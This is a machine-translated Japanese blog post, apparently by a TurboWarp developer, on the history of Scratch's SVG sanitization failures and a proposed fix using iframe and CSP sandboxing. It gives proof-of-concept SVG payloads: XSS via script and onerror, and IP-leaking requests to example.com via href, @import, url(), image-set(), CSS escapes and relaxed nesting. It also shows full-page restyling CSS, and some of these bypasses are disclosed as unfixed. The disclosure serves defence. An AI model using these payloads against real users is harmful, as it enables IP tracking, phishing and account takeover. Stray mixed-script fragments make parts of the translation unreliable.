
2026/04/28 0:31
SVG のサンタイゼーションにおける諸難
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
Scratch は、持続的な SVG および CSS の脆弱性に対し、複雑な санитаイゼーション規則を積み重ねることが維持不可能であるという、深刻かつ進化し続けるセキュリティ危機に直面している。プラットフォームの最も緊急の問題は、攻撃者が新しいブラウザ機能およびレガシー解析欠陥を成功裏に悪用して、クロスサイトスクリプティング (XSS) 攻撃を実行し、HTTP リークを開始するという点にある。前回のパッチでは、インラインイベントハンドラー、画像 URL リーク、特定のライブラリのバグ(Paper.js など)といった問題への対処はなされたが、これらの解決策は
src() 関数、CSS 変数、image-set() などのようなモダンな CSS 機能に対する攻撃には無力である。歴史的に表面的なコード修正への依存は、重要ボタンの隠蔽やフィッシングサイトの模写を行うことでフルページ UI の改ざんを引き起こす重大なリスクを招いてきた。さらに、直近の失敗事例としては、CSS ネスティングにおける「緩和された構文」から生じる脆弱性が挙げられ、ここでサンタイザーは生のテキストを正しく解析しなかった。この現状は、Scratch が現在の軽量アプローチが機能せず、ブラウザ標準が進化するに伴い将来の悪用を防ぐため、パッチによる表面的な穴埋めから脱却し、TurboWarp の代替ソリューションで使用されているようなセキュアなサンドボックス化モデルへの根本的なアーキテクチャシフトを必要としていることを示唆している。本文
スクラッチは、SVG(スケーラブルベクターグラフィックス)に関連する脆弱性の歴史が非常に長いものを持っています。その根源は、スクラッチがユーザー生成(つまり攻撃者によって制御可能な)コンテンツを
<svg> 要素として解析し、それをメインのドキュメントに付加して各種の操作(例えば、viewbox や幅/高さよりも信頼性の高い方法で SVG のバウンディングボックスを測定するなど)を行うことにあります。SVG がメインのドキュメント内に存在する時間が短くても短暂であれば、これは本質的に不安全な操作上です。スクラッチがこの問題に対処するために採用したアプローチは、SVG とその中身を解析して危険部分を除去するためのインフラストラクチャを徐々に複雑にしていくことでした。しかし、私はスクラッチの SVG 除害(サニタイゼーション)のアプローチは破綻していると考えています。なぜなら、これを知るためには、スクラッチにおける SVG 除害の歴史を行きつ戻りつ見て、これまでの成果がどの程度であったか確認する必要があるからです。
2019 年:
タグによる XSS(クロスサイトスクリプティング)
2019 年、スクラッチ 3 の初期リリースから数ヶ月後、スクラッチは SVG が <script>
<script> タグを含んでおり、それが読み込まれた際に実行される可能性があると発見しました。これは「XSS」と呼ばれます。
スクラッチの用語では、XSS は攻撃者がプロジェクトをロードする任意の利用者の代わりの行動をとることを可能にします。例えば、攻撃者はコメントを投稿したり、プロジェクトを削除したり、あるいは被害者のアカウントを乗っ取るように試みたりすることができます。スクラッチ デスクトップの場合、この脆弱性は Electron の危険な Node.js 統合機能の有効化により、任意のコード実行として増幅されています。(TurboWarp デスクトップは、2021 年 3 月のバージョン 0.2.0 以降、この機能を有効にしていません)
スクラッチのテストスイートからの例:
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg"> <circle cx="250" cy="250" r="50" fill="red" /> <script type="text/javascript"><![CDATA[alert('from the svg!')]]></script> </svg>
この脆弱性は、正規表現を使って script タグを削除することで修正されました。もちろん、この変更により SVG は完全に安全になり、さらにセキュリティ修正は必要ないはずです。
2020 年:前回の修正の欠落による XSS(CVE-2020-27428) 2020 年、apple502j が XSS が依然として可能であることが発見されました。すると、前回の修正は完全に機能しておらず、いくつかの方法でバイパスされる可能性があることが判明しました。例えば、
<SCRIPT> を大文字小文字区別なく処理するため正規表現がケースセンシティブ(大文字小文字を区別する)なため、この方法でバイパスできたほかです。たとえ正規表現が正しく実装されていたとしても機能しなかったのは、SVG に JavaScript を埋め込む別の方法が存在するからです。例えば、インラインイベントハンドラを使用できます:
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <foreignObject x="1" y="1" width="1" height="1"> <img xmlns="http://www.w3.org/1999/xhtml" src="data:any invalid URL" onerror="alert(1)" /> </foreignObject> </svg>
これは、scratch-svg-renderer がドキュメントに SVG を付加する前に DOMPurify を使用して SVG からスクリプトを除去することで修正されました。もちろん、この変更により SVG は完全に安全になり、さらにセキュリティ修正は必要ないはずです。
2022 年:
の <image>
プロパティによる HTTP リーク
2022 年、href
<image> 要素の href プロパティを使用することで、攻撃者は SVG を読み込む際に外部リクエストを呼び出すことができることが発見されました。DOMPurify が実行可能なコードを除去するのは真偽を問われますが、「そのような方法をあまりにも多くあるため、かつ我々のテストではそれが信頼性を持って実行できないことが示された」ために、HTTP リークを防ぐ保護は機能しなかったのです。
スクラッチの用語では、HTTP リークとは、スクラッチユーザーが自身のプロジェクトをロードする際に相手の IP アドレスをログ記録できることを意味します。これにより、場所や学区などの情報が漏洩する可能性があります。被害者はリンクをクリックする必要がなく、プロジェクト単に読み込むだけで IP ログが発生します。スクラッチ側はこれをセキュリティバグとして扱っており、私もその通りだと思います。
例:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/ping"/> </svg>
これは、外部网站への URL を参照する場合にすべての要素から
href プロパティを削除するための DOMPurifyフックを追加することで修正されました。もちろん、この変更により SVG は完全に安全になり、さらにセキュリティ修正は必要ないはずです。
2023 年:CSS の
による HTTP リーク
2023 年、@import
<style> 要素内の CSS @import ステートメントを使用することで、攻撃者はプロジェクト読み込み時に外部リクエストを呼び出すことができるようなプロジェクトを作成できることが発見されました。
例:
<svg xmlns="http://www.w3.org/2000/svg"> <style> @import url("https://example.com/ping"); </style> </svg>
これは、JavaScript で書かれた CSS パーサを統合して SVG の危険部分を取り除くことで修正されました。彼らは SVG 内のすべてのスタイルシートを解析し、任意の
@import ステートメントを除去し、変更が加えられた場合は危険な部分は除去したまま CSS を文字列へ再変換しました。もちろん、この変更により SVG は完全に安全になり、さらにセキュリティ修正は必要ないはずです。
2024 年:Paper.js による XSS 2024 年、私はスクラッチが衣装エディターで使用しているライブラリである Paper.js に XSS を発見しました。なんと、スクラッチ は scratch-svg-renderer で処理する前に SVG を除害していたものの、未除害の SVG が Paper.js に渡されていたのです。これは 2020 年の scratch-svg-renderer の XSS とほぼ同じ影響を持っていますが、発生状況はプロジェクトを最初から開く際ではなく、衣装エディターを使用する際に起きます。
例:
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" data-paper-data="any invalid JSON"> <foreignObject x="1" y="1" width="1" height="1"> <img xmlns="http://www.w3.org/1999/xhtml" src="data:any invalid URL" onerror="alert(1)" /> </foreignObject> </svg>
これは、SVG をロードする際に実行されるように既存の SVG 除害コードを拡張することで非常に遅れたスケジュールで部分的に修正されました。つまり、Paper.js は既に除害済みの SVG のみを受け取ることになります。私は「部分的に修正された」と言っているのは、なぜならその除害がサーバーからダウンロードされた SVG についても実行されるか否かは確信がないからです。スクラッチサポートは、「これは当社のサーバーサイドで処理される保護措置である」と述べていますが、それが冗長かもしれません。Proof-of-concept を開発中にそのような保護措置の証拠を目にしたことは一度もありませんが、実際に存在する可能性があります。もちろん、この変更により SVG は完全に安全になり、さらにセキュリティ修正は必要ないはずです。
2025 年:CSS の
による HTTP リーク
2025 年、特定の CSS ルール内の url()
url() を使用することで、攻撃者はプロジェクト読み込み時に外部リクエストを呼び出すような SVG を作成できることが発見されました。例:
<svg xmlns="http://www.w3.org/2000/svg"> <!-- インラインスタイル --> <rect style="background-image: url(https://example.com/ping)" /> <!-- <style>要素も使用可能 --> <style> .img { background-image: url("https://example.com/ping"); } </style> <rect class="img" /> </svg>
これは、SVG 除害コードを大幅に拡張して
url() の使用を検索し、外部 URL を参照するあらゆるスタイルや属性を取り除くことで修正されました。もちろん、この変更により SVG は完全に安全になり、さらにセキュリティ修正は必要ないはずです。
2026 年:前回のコード内の複数のバグによる HTTP リーク 2026 年、特定の CSS ルール内の
url() を使用することで、攻撃者がまだプロジェクト読み込み時に外部リクエストを呼び出すことができるような SVG を作成できることが発見されました。なんと、少なくとも 3 つの独自のバグがあり、それぞれが HTTP リークを可能にしていました:
- CSS がエスケープコードを使用して
を書き出せることを考慮していなかった。url(...) - スタイル属性が最初の一个是安全だが、2 番目のは安全でない
を含む場合など、1 つ以上のurl(...)
を持つスタイル属性を処理できなかった。url(...) - CSS 変数で定義され、
経由で参照されるvar(--name)
を処理できなかった。url()
例:
<svg xmlns="http://www.w3.org/2000/svg"> <circle fill="\75\72\6c(https://example.com/ping)" /> <rect style="/* url(#safe_url) */ background-image: url(https://example.com/ping)" /> <style> :root { --example: url(https://example.com/ping); } .img { background-image: var(--example); } </style> <rect class="img" /> </svg>
これは、もはや複雑なコードを周りに追加する修正が行われました。もちろん、この変更により SVG は完全に安全になり、さらにセキュリティ修正は必要ないはずです。
2026 年:長手の遷移によるフルページのリスタイリング 2026 年、非常に長い遷移とブラウザにすべての要素を再スタイリングさせるような巧妙な使い方を通して、攻撃者はスクラッチの全ページに永続する任意のスタイルを適用できることが発見されました。これらのおもな用途は「面白い」ものでしたが、より悪意あることを行ういくつかのアイデアとしては以下があります:
- 報告ボタンを非表示にする。
- 好む/お気に入りボタンを全画面に広げてユーザーを騙してクリックさせる。
- ユーザーが新しいタブで website を開いてアカウントを「認証」する必要があるというテキストを表示(フィッシングページ)。ユーザーはメッセージが本物の scratch.mit.edu から来ているため指示に従う可能性が高い。
例プロジェクト(私のものではありません):https://scratch.mit.edu/projects/1299571218/ これは将来的に修復されるかもしれませんが、今日では以下のような状況が見られます:
このプロジェクトは 2 つの SVG を使用しています。最初のものは「トリガー」です:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"> <rect x="0" y="0" width="200" height="100" fill="#111"></rect> <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">Trigger</text> <style> /* まず最初の SVG を有効にするためにブラウザにスタイルの再計算を強制する */ *, * *, * * *, * * * * { transform: translateX(1px) scale(10000) rotateY(45deg) perspective(1cm) !important; transition: all 9999s ease !important; filter: blur(0px) !important; } </style> </svg>
2 つ目の SVG は表示すべきスタイルを含みます:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"> <rect x="0" y="0" width="200" height="100" fill="#111"></rect> <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">Styles</text> <style> /* グローバルな背景色を青 */ * { background-color: blue !important; color: white !important; } /* プロジェクトの指示/説明のスタイリング */ .project-description, .instructions-container { background-color: yellow !important; color: black !important; border: 10px solid red !important; transform: scale(1.1) !important; } </style> </svg>
私はここでの仕組みやなぜそれが非決定論的に動作するのかを完全に理解していることを pretending しませんが、私の一般的な理解は以下の通りです:
- トリガー SVG はドキュメント内のすべての要素に
とtransform
を適用することで、ブラウザに他の SVG のスタイルからすぐにすべてのスタイルを再計算させます。filter - トリガー SVG は非常に長い遷移を適用するため、他の SVG が削除された後もスタイルは「遷移」の期間中ずっと保持されます。
これは修復されていません。「修復されていれば、SVG は完全に安全でさらにセキュリティ修正は必要ないはずです」と確信します。
2026 年:CSS の
による HTTP リーク
私はこの問題をスクラッチに 2025 年に報告しました。彼らはそれを修正しなかったので、何となくここでの公開を行います。適切な公開期間が 6 ヶ月前に経過しました。
image-set()
url() を使用せず、攻撃者は image-set() を使用してプロジェクト読み込み時に外部リクエストを呼び出すような SVG を作成できます。例:
<svg xmlns="http://www.w3.org/2000/svg"> <!-- image-set(...) は url() を全く使用せずに外部リソースをリクエストする原因になります。 --> <style> .image-set-with-string-url { background-image: image-set("https://example.com/ping" 1x); } </style> <rect class="image-set-with-string-url" /> <!-- image-set(url(...)) は image-set(...) と同じように動作します。これは既存の除害コードによって既にブロックされます。 --> <style> .image-set-with-inner-url-function { background-image: image-set(url(https://example.com/ping) 1x); } </style> <rect class="image-set-with-inner-url-function"></rect> <!-- image-set() はインラインスタイル属性でも使用できます。 --> <rect style="background-image: image-set('https://example.com/ping' 1x)" /> </svg>
これは修復されていません。「修復されていれば、SVG は完全に安全でさらにセキュリティ修正は必要ないはずです」と確信します。
20XX 年:新しい CSS 機能による HTTP リーク 私はこの問題もスクラッチに 2025 年に報告しました。このバグは今日では動作しませんでしたが、将来的にはブラウザが CSS Units Level 4 や CSS Images Level 4 のすべてを実装した場合に発動する可能性があります。現在、Ladybird ブ라우저だけがこれらを採用しています。しかし、主要なブラウザもいつか実装するかもしれません。
url() を使用せず、攻撃者は src() や image() を使用してプロジェクト読み込み時に外部リクエストを呼び出すような SVG を作成できます。例:
<svg xmlns="http://www.w3.org/2000/svg"> <!-- このファイル内のすべてはブラウザ仕様に定義された機能に依存していますが、現在まだどのブラウザでも実装されていません。理論上、将来のブラウザはこのスタイルを見てリクエストを開始するかもしれません。 --> <!-- CSS Units Level 4 は url(...) の代わりに src(...) を定義しています。url() と異なり、src()'s URL は文字列定数だけでなく、あらゆる式であることができます。参照:https://www.w3.org/TR/css-values-4/#example-a2ee15a6 今日ではどの主要なブラウザでも実装されていません(実験的な Ladybird ブ라우저だけが実装済み)。 --> <style> .src-constant { background: src('https://example.com/ping'); } .src-variable { --url: 'https://example.com/ping'; background: src(var(--url)); } </style> <rect class="src-constant" /> <rect class="src-variable" /> <!-- CSS Images Level 4 は画像のための url() の代わりに image() を定義します。参照:https://www.w3.org/TR/css-images-4/#image-notation 今日ではどの主要なブラウザでも実装されていません。 --> <style> .image { background: image('https://example.com/ping', black); } </style> <rect class="image" /> <!-- 上記の例と同じですが、インラインスタイルを使用 --> <rect style="background: src('https://example.com/ping');" /> <rect style="--url: 'https://example.com/ping'; background: src(var(--url));" /> <rect style="background: image('https://example.com/ping', black);" /> </svg>
これは修復されていません。「修復されていれば、SVG は完全に安全でさらにセキュリティ修正は必要ないはずです」と確信します。
これからの持続可能性がない状況
除害にますます複雑な機能を積み重ねるアプローチは明らかに破綻しています。すでに 5 つ以上の主要な改訂を経ているにもかかわらず、まだ既知の欠陥が存在します。人々はアクティブにスクラッチ サイト上で SVG 除害を迂回するプロジェクトを共有しています。ブラウザが最新の CSS仕様を実装することを決定した瞬間に、さらに多くの抜け道が生まれます。 さらに、これらのすべての問題に対する明確な解決策が存在するわけではありません。フルページのスタイリングに関しては、両方の SVG は完全に無害に見えます:JavaScript も外部リソースへの参照もありません。修復はおそらく遷移スタイルを除去することになるでしょう(いずれにせよスクラッチでは遷移は実行されないため)、しかしそれが十分でしょうか?すべてのベンダープレフィックスバージョンの transition を忘れずに除去するのでしょうか?アニメーションスタイルについてはどうでしょう?
将来さらにバイパスを許す可能性がある他の場合:
(スクラッチが CSS の解析に使用するライブラリ)とブラウザ内の実装された CSS パーサーは完全に一致しない可能性があります。もしそうであれば、css-tree
はすべてが無事に見えて何かが除去されないように CSS を解析するかもしれませんが、その後にブラウザの実パースラーが外部コンテンツを認識します。css-tree
やネイティブネストなどの高度な新しい CSS 機能など、@property
バージョンが常に更新なしで意味のある解析ができない可能性があります。css-tree- ブラウザは既に
で示されているように、常に外部コンテンツへの参照を可能にする新たな機能を追加できます(仕様ではimage-set()
とsrc()
についても同様であることが暗示されています)。これらの仕様の常に変化を追跡して、各新しい関数を評価し、それによって外部コンテンツへの参照が可能になるかを確認する方法はどうでしょうか?image()
代替案
TurboWarp(私が開発に参加しているスクラッチのフォーク)は、2026 年の HTTP リークやフルページのリスタイリング問題の影響を受けませんでした。これは私が SVG が何か悪いことをするすべての巧妙な方法を発見したからではありません。実際には、パッケージドプロジェクトを 400KB サイズ小さくするために CSS 除害コードを完全に削除しました。
私は iframe 内のサンドボックス化という代替アプローチを実装しました。まず、
sandbox プロパティを allow-same-origin に設定して iframe を設定します。これにより iframe 内でのスクリプト実行がブロックされますが、コンテンツとの相互作用はまだ可能です。
次に、以下のようなハードコーディされた HTML で iframe を設定します:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data:"> </head> <body></body> </html>
インラインコンテンツセキュリティポリシー(CSP)はすべてのスクリプトをブロックし、安全なデータ URL からのリソースのみをロードすることを許可するように設定されています。私たちは引き続き DOMPurify を使用して SVG から明らかに悪意のあるものを除去します。そして、測定用 API がまだ機能するようスクラッチがオフスクリーンでどこかに iframe を配置します。
このアプローチにはいくつか非常に良い特性があります:
-
ブラウザは既存のコードを使用して困難な部分を手伝ってくれます。
-
TurboWarp は SVG がリクエストを行うすべての方法を知る必要はありません。ブラウザはそのために既に知らされており、新しい API が追加されても強制されます。
-
実際の CSP 実装は完璧ではなく抜け道があります。しかし、それらの抜け道は一般的に攻撃者がすでに何らかの方法で JavaScript を実行している必要があるような奇妙なエッジケースです。これらの脆弱性もブラウザのセキュリティ問題として考慮されており、バグボountyが付いています。
-
SVG はメインドキュメントに影響を与えることができません。フルページリスタイリングの場合を考えてみましょう。SVG が iframe 内に閉じ込められているため、リスタイリングできる唯一のもののが iframe です。iframe 内のスタイルは重要ではないので、それが完全に問題ありません。
コードはこちらで見つけることができます:
- scratch-svg-renderer のフォーク
- paper.js のフォーク
Shadow DOM や他の Web API などの別の面白いことをする可能性がありますが、私たちは iframe が私たちに適していると考えています。以下のセクションでは、公開後に私が認識した新しい問題について扱います。
2026-04-12:Claude が CSS ネスティングの緩和された構文による HTTP リークを発見
この記事を公開した後、現在の言語モデルがこれらのバグを見つける能力が良いか疑問に思いました。私は Claude Opus 4.6 に scratch-editor リポジトリをクローンして、最新の SVG レンダラーの変更点を見、抜け道があるかどうかを確認するように指示しました。結果は興味深かった:
- Claude が独自に発見した:
は除害されておらず、HTTP リークを引き起こす可能性がある。image-set(...) - **Claude が新しい問題を発見:**本記事の元のバージョンでは記載されていない問題。
このバグは CSS ネスティングに関係しており、2 つの形式で出現します。ネストされたスタイルはセレクタを
& で接頭辞するか、またはそれを付ける必要がない場合があります(後者は「緩和された」構文として知られています)。現代のブラウザは以下の 2 つを同様に解釈します:
g { & rect { background-image: url(https://example.com/ping); } } g { rect { background-image: url(https://example.com/ping); } }
css-tree は & 付きのバージョンを意味のある構文ツリーとして解析でき、スクラッチが除害できます。しかし、驚いたことに css-tree は緩和されたバージョンを解析する方法を知っていません。全体の `{ ... } ブロックは「生テキスト」ノードとして解析され、スクラッチのコードでは除害されません。完全な SVG 例:
<svg xmlns="http://www.w3.org/2000/svg"> <style> g { rect { background-image: url(https://example.com/ping); } } </style> <g><rect></rect></g> </svg>
この記事の先頭で、「
css-tree とブラウザ内の実 CSS パーサーは完全に一致しない可能性があります」と述べました。これは実際のバグで CSS が除害を回避する例です。css-tree は現在 48 の未解決問題を持っており、確かにさらに多くの不明な問題があるでしょう。css-tree に完璧なパーサを依存することは希望的観測であり、さらに多くの脆弱性をもたらす道だと考えられます。TurboWarp の SVG サンドボックスはこのバグを私が存在することを知らなかった前に修復しました。
**これは修復されていません。**このバグのための
css-tree の問題は 2023 年 12 月よりオープンされています。
「修復されていれば、SVG は完全に安全でさらにセキュリティ修正は必要ないはずです」と確信します。